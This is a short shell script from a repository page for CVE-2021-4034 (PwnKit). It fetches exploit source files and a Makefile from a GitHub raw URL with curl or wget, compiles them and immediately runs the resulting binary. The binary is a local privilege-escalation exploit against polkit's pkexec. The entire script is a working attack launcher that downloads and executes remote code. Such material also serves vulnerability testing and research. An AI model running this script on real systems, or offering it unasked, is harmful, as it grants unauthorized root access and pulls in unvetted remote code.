CVE-2021-4034/cve-2021-4034.sh

17 lines
313 B
Bash
Raw Normal View History

2022-01-27 16:09:47 +03:00
#!/usr/bin/env sh
set -e
URL='https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/'
for EXPLOIT in "${URL}/cve-2021-4034.c" \
"${URL}/pwnkit.c" \
"${URL}/Makefile"
do
curl -sLO "$EXPLOIT" || wget --no-hsts -q "$EXPLOIT" -O "${EXPLOIT##*/}"
done
make
./cve-2021-4034